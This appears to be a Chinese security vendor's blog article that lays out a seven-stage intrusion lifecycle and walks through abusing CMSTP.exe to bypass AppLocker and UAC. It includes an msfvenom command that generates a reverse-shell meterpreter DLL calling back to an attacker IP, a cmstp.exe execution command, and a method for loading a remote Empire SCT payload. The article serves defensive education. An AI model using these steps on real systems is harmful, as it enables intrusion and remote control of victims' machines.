提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      《入侵生命周期细分实践指南系列》:CMSTP攻击
      发布时间:2022-08-19 作者:美创科技安全实验室 阅读次数: 477 次

      美创科技为了更好地进行入侵检测和防御,参照各种安全威胁框架和自身的实践与思考,提出了基于入侵生命周期的攻击管理模型,作为美创新一代安全架构的三大支柱之一。

      入侵生命周期v1.0把入侵过程划分为7个阶段:探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库,匹配到不同的入侵阶段。需要注意的是,并非所有的入侵都会经历这7个阶段,也没有绝对的线性次序。

      1)探索发现

      在这个阶段中,攻击者会先锁定攻击对象,然后利用某些技术手段,尽可能多地获取目标暴露出来的信息,如通过端口扫描、指纹探测等方式,发现敏感端口及版本信息,进而寻找攻击点,为下一步入侵做准备。

      2)入侵和感染

      在这个阶段,攻击者会根据“探索发现”阶段所发现的重要信息,来对目标暴露出的攻击面进行攻击尝试,在“探索发现”阶段收集到的信息越多,攻击对象所暴露的攻击面也就越多,攻击更易成功。

      3)探索感知

      攻击者在成功进入系统内部后,由于是首次进入所以会出现对内部环境不熟悉的情况,这时攻击者的动作一般会是对当前所处环境进行探索,摸清内部大致的网络结构,常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描,后续根据攻击者的目的进行下一步操作。

      4)传播

      在此阶段,攻击者根据上一阶段在内网探索感知收集到的信息,选择特定的攻击手法。如若发现内部是域环境,攻击者可能会尝试先攻破域控服务器,再传播其他机器。若是工作组环境,可能会利用收集到的端口和服务信息,选择特定漏洞进行批量扫描攻击,来尽可能多地继续获得其他计算机的控制权。

      5)持久化

      攻击者在对资产进行恶意操作后,为了能够减少再次连接的攻击成本,方便下次进入,会进行“留后门”的操作,常见的后门如:建立计划任务,定时连接远程服务器;设置开机启动程序,在每次开机时触发执行特定恶意程序;新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。

      6)攻击和利用

      攻击者在此阶段便会开始对目标资产进行恶意操作,按照攻击者意愿,对能利用的数据进行窃取、利用;对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。

      7)恢复

      攻击者在执行所有的攻击操作时,往往会在系统上留下大量的行为日志,因此在这一阶段,攻击者会对记录自身痕迹的所有日志进行处理,或删除或混淆,从而消灭证据,逃避追踪。

      本系列文章基于美创科技入侵生命周期1.0架构,细分各阶段攻击者的常用攻击手段,并对相关攻击手段的具体实施方式进行逐一剖析,为安全防御建设提供有力知识补充和反制准备。






      CMSTP攻击(攻击和利用)

      CMSTP.exe是Microsoft官方的连接管理器配置文件安装程序,用于安装或删除连接管理器服务配置文件。CMSTP.exe接受安装信息文件(INF)作为参数,在安装信息文件中可以引入本地或远程文件进行执行。

      从攻击者的角度来分析,当入侵成功后,往往会通过一系列的命令去获取信息、创建持续性会话。通过cmstp.exe命令执行,调用恶意的dll或者com脚本(sct)。这种方式可以绕过applocker或者其他黑名单的防御方式以及UAC。

      根据攻击者的入侵流程和操作手段,利用CMSTP进行攻击在入侵过程的攻击执行阶段,可以帮助攻击者在入侵成功后执行恶意操作,从入侵生命周期角度分析,CMSTP攻击可作用于攻击者攻击和利用阶段、持久化阶段。在攻击和利用阶段,攻击者利用CMSTP调用恶意文件进行恶意操作;在持久化阶段,攻击者利用CMSTP隐藏自身行为。

      从攻击行为链条的上下文来看,针对利用cmstp的行为链条输入输出如下:

      输入:cmstp.exe、cmd执行的命令、恶意dll文件、恶意inf文件、恶意sct文件

      输出:攻击者利用cmstp.exe进行的恶意操作

      根据不同攻击思路,攻击者利用cmstp的攻击手法通常有2种:

      1.cmstp引入本地dll文件执行恶意代码

      matasploit执行命令msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.96.111 LPORT=4444 -f dll > ./cmstp.dll,生成恶意dll

      将cmstp.dll拷贝到受害者机器上,新建inf文件格式文件,内容如下

      RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置

      metasploit设置监听

      受害者机器上执行cmd命令cmstp.exe /s cmstp.inf,成功反弹shell

      这里注意RegisterOCXSection\RunPreSetupCommandsSection节都可进行命令执行。即都可入exe文件。但需要dll文件的时候,需要在RegisterOCXSection节。

      2.cmstp引入远程sct文件执行恶意代码

      使用empire进行监听,并利用empire生成恶意的sct文件,安装过程不提,首先启动监听

      默认会生成sct文件在/tmp/launcher.sct

      将launcher.sct重命名为cmstp.sct,并放置在某个web服务器下,这里以192.168.160.144/cmstp.sct为例

      编写恶意cmstp.inf文件

      cmd中依次执行以下命令

      则该配置文件会去远程调行cmstp.sct,并执行。最终在empire中反弹一个shell

      经测试,在[RegisterOCXSection]同样也会生效

      注:除此之外,还有通过webdav进行远程调用dll文件以及通过cmstp.exe /ni /s inf_url 直接远程调用执行inf文件,这两种方式未复现成功。同时可能由于系统版本的原因,在远程调用sct文件过程中,存在失败的可能性。以上主要复现在win server2008以及kali上。

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部